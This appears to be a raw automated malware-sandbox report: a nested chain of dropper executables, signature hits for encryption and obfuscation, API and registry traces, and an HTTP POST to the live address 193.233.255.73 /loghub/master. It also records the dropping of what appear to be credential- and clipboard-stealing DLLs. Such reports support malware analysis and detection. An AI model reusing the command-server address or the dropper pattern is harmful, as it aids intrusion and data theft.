in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=JxBABF1f5WqoxJQ5MzgsContent-Length: 209User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=JxBABF1f5WqoxJQ5MzgsContent-Length: 209User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=JxBABF1f5WqoxJQ5MzgsContent-Length: 209User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=JxBABF1f5WqoxJQ5MzgsContent-Length: 209User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=JxBABF1f5WqoxJQ5MzgsContent-Length: 209User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=JxBABF1f5WqoxJQ5MzgsContent-Length: 209User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "73Connection" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=JxBABF1f5WqoxJQ5MzgsContent-Length: 209User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=JxBABF1f5WqoxJQ5MzgsContent-Length: 209User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache"32:T4b0,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to decode base64 data Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically to import cryptographic keys into a CSP Matched sigs: Reads the cryptographic machine GUID Matched sigs: HTTP requests contain Base64 strings Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Contains ability to perform crypto operations Matched sigs: Contains ability to decode string content at runtime (Dotnet) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: Sample file has high entropy (likely encrypted/compressed content)33:T18d6,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000768) "pu4QC49.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002300) "pu4QC49.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002300) "XJ8DL15.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006800) "XJ8DL15.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006800) "UG5dl07.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007836) "UG5dl07.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007836) "Sj8xo42.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007752) "Sj8xo42.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007752)34:Td4e,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007b8573289387000000000048fb5b00b444857328938700a0fb5b0065258573289387000100000060cb243b000000001bd0cb3a000000000300000054fc5b000a0000003803000098fc5b00d0fb5b005b0000000300000058fb5b0060fb5b006cfe5b00e05685738020f848feffffffacfc5b0047f283731bd0cb3a00000000 (UID: 00000000-00000768) "pu4QC49.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007b857388ae35030000000028f70701b444857388ae350380f707016525857388ae350301000000eba5c287000000006efccc29000000000300000034f807010a000000700f000078f80701b0f707015d0000000300000038f7070140f707014cfa0701e05685732b4242f5feffffff8cf8070147f283736efccc2900000000 (UID: 00000000-00002300) "XJ8DL15.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007b857360aca6020000000088f47500b444857360aca602e0f475006525857360aca60201000000fc7b1a410000000018001d2b000000000300000094f575000a0000002c1e0000d8f5750010f575005b0000000300000098f47500a0f47500acf77500e05685735c9fe832feffffffecf5750047f2837318001d2b00000000 (UID: 00000000-00006800) "UG5dl07.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007b857370ae76000000000080f52d00b444857370ae7600d8f52d006525857370ae760001000000848b19fd00000000db23b02700000000030000008cf62d000a000000080a0000d0f62d0008f62d005d0000000300000090f52d0098f52d00a4f82d00e05685731c6eb38efeffffffe4f62d0047f28373db23b02700000000 (UID: 00000000-00007836) "Sj8xo42.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000fb4a005c7b857348ba68020000000068fb4a00b444857348ba6802c0fb4a006525857348ba6802010000006f7560a700000000a74c0a34000000000300000074fc4a000a000000d81e0000b8fc4a00f0fb4a00590000000300000078fb4a0080fb4a0088fe4a00e0568573ef9eadd4feffffffc8fc4a0047f28373a74c0a34 (UID: 00000000-00007752) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000003000000802500000200000000000000160000169c4d000060d30501a8ce030110000000f84f05010100000003000000010000000c00000000000000000000000000000001000000010000000000000000000000720061006d00650000000000000000000000000000000000010000002f000000000000000000000063006f006e006600690067005c006d00 (UID: 00000000-00007404) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000003000000802500000200000000000000010000000c00000000000000000000000000000001000000010000000000000000000000720061006d00650000000000000000000000000000000000010000002f000000000000000000000063006f006e006600690067005c006d006100630000000000000065000000000000000000000000000000000000000000 (UID: 00000000-00007032) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000000c038000000000000000a1140000acd62109ee13e17780000000ee13e177000000000000000080000000f062a46c00000000ccd621095072237700000c030000000080000000f062a46c02000000002fa46ce8d62109fb62a46c010000008004a56c885f257700000000e22752b418d72109b864a46cf42ea46c (UID: 00000000-00002612) "ZP7Gz0iG.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007b857378b3080300000000a0f8cc00b444857378b30803f8f8cc006525857378b3080301000000de31135e000000002b260ee10000000003000000acf9cc000a000000b01b0000f0f9cc0028f9cc005d00000003000000b0f8cc00b8f8cc00c4fbcc00e056857366d9582dfeffffff04facc0047f283732b260ee100000000 (UID: 00000000-00008156)35:T7df,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "pu4QC49.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "pu4QC49.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "XJ8DL15.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "XJ8DL15.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "UG5dl07.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "UG5dl07.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Sj8xo42.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Sj8xo42.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "1TB52Ye1.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "1TB52Ye1.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "AppLaunch.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2va9153.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "3CP67Xw.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "3CP67Xw.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "4Kb287am.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")36:T56d,Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "GetMonitorInfo" (Indicator: "GetMonitorInfo"; File: "2YP522uh.exe.1488338988") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "QuerySystemInformation"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API "RtlNtStatusToDosError" (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00002064.00000000.69620.00129000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")37:T5dd,Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "b04b96a73e3f5d5ab5cd20b1151f47ad.exe") Found reference to API "GetVersionInfo" (Indicator: "GetVersion"; File: "2YP522uh.exe.1488338988") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00000768.00000001.69492.0131A000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00001224.00000000.68864.00D7C000.00000002.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00002300.00000000.67631.0115A000.00000002.mdmp")38:T13e8,"AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" at 00000000-00007404-00000C15-59143302 "2va9153.exe" queries volume information of "C:\" at 00000000-00000608-00000C15-57997778 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe" at 00000000-00007032-00000C15-73073125 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" at 00000000-00007032-00000C15-73586595 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" at 00000000-00007032-00000C15-73913966 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll" at 00000000-00007032-00000C15-75591047 "AppLaunch.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00007032-00000C15-79517739 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred64.dll" at 00000000-00006736-00000C15-81530551 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\cred64.dll" at 00000000-00006736-00000C15-81532681 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Roaming\006700e5a2ab05\clip64.dll" at 00000000-00006736-00000C15-82753371 "explothe.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Temp\1000059051\tus.exe" at 00000000-00006736-00000C15-85633285 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll" at 00000000-00002612-00000C15-107472923 "powershell.exe" queries volume information of "C:\share" at 00000000-00002612-00000C15-117645228 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00002612-00000C15-126123103 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00002612-00000C15-128668743 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll" at 00000000-00002612-00000C15-139335005 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll" at 00000000-00002612-00000C15-141690472 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll" at 00000000-00002612-00000C15-141690673 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00002612-00000C15-144381602 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~en-US~10.0.16299.15.cat" at 00000000-00002612-00000C15-144565832 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00002612-00000C15-145853372 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00002612-00000C15-148457289 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00002612-00000C15-149475896 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0018~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00002612-00000C15-153897286 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll" at 00000000-00002612-00000C15-15473756439:T683,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\pu4QC49.exe" - (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "CreateProcessA" with parameter "%TEMP%\IXP000.TMP\6aw7Xx2.exe" - (UID: 00000000-00000768) "pu4QC49.exe" called "CreateProcessA" with parameter "%TEMP%\IXP001.TMP\XJ8DL15.exe" - (UID: 00000000-00002300) "pu4QC49.exe" called "CreateProcessA" with parameter "%TEMP%\IXP001.TMP\5cM9dm9.exe" - (UID: 00000000-00002300) "XJ8DL15.exe" called "CreateProcessA" with parameter "%TEMP%\IXP002.TMP\UG5dl07.exe" - (UID: 00000000-00006800) "XJ8DL15.exe" called "CreateProcessA" with parameter "%TEMP%\IXP002.TMP\4Kb287am.exe" - (UID: 00000000-00006800) "UG5dl07.exe" called "CreateProcessA" with parameter "%TEMP%\IXP003.TMP\Sj8xo42.exe" - (UID: 00000000-00007836) "UG5dl07.exe" called "CreateProcessA" with parameter "%TEMP%\IXP003.TMP\3CP67Xw.exe" - (UID: 00000000-00007836) "Sj8xo42.exe" called "CreateProcessA" with parameter "%TEMP%\IXP004.TMP\1TB52Ye1.exe" - (UID: 00000000-00007752) "Sj8xo42.exe" called "CreateProcessA" with parameter "%TEMP%\IXP004.TMP\2va9153.exe" - (UID: 00000000-00007752) "cmd.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login" - (UID: 00000000-00006420) "cmd.exe" called "CreateProcessW" with parameter ""%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.youtube.com/" - (UID: 00000000-00006420) "TW9GU8TZ.exe" called "CreateProcessA" with parameter "%TEMP%\IXP005.TMP\yG0Wt0do.exe" - (UID: 00000000-00007364)3a:T67e4,"b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00000768) "b04b96a73e3f5d5ab5cd20b1151f47ad.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00000768) "pu4QC49.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002300) "pu4QC49.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002300) "pu4QC49.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002300) "pu4QC49.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002300) "pu4QC49.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00002300) "pu4QC49.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00002300) "pu4QC49.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00002300) "XJ8DL15.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00006800) "XJ8DL15.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00006800) "XJ8DL15.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00006800) "XJ8DL15.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00006800) "XJ8DL15.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00006800) "XJ8DL15.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00006800) "XJ8DL15.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00006800) "UG5dl07.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007836) "UG5dl07.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007836) "UG5dl07.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007836) "UG5dl07.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007836) "UG5dl07.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00007836) "UG5dl07.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00007836) "Sj8xo42.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007752) "Sj8xo42.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007752) "Sj8xo42.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007752) "Sj8xo42.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007752) "Sj8xo42.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007752) "Sj8xo42.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00007752) "Sj8xo42.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00007752) "1TB52Ye1.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000584) "1TB52Ye1.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000584) "1TB52Ye1.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000584) "1TB52Ye1.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000584) "1TB52Ye1.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00000584) "1TB52Ye1.exe" called "LoadLibrary" with a parameter api-ms-win-core-string-l1-1-0 (UID: 00000000-00000584) "1TB52Ye1.exe" called "LoadLibrary" with a parameter api-ms-win-core-datetime-l1-1-1 (UID: 00000000-00000584) "1TB52Ye1.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-obsolete-l1-2-0 (UID: 00000000-00000584) "1TB52Ye1.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00000584) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007404) "AppLaunch.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007404) 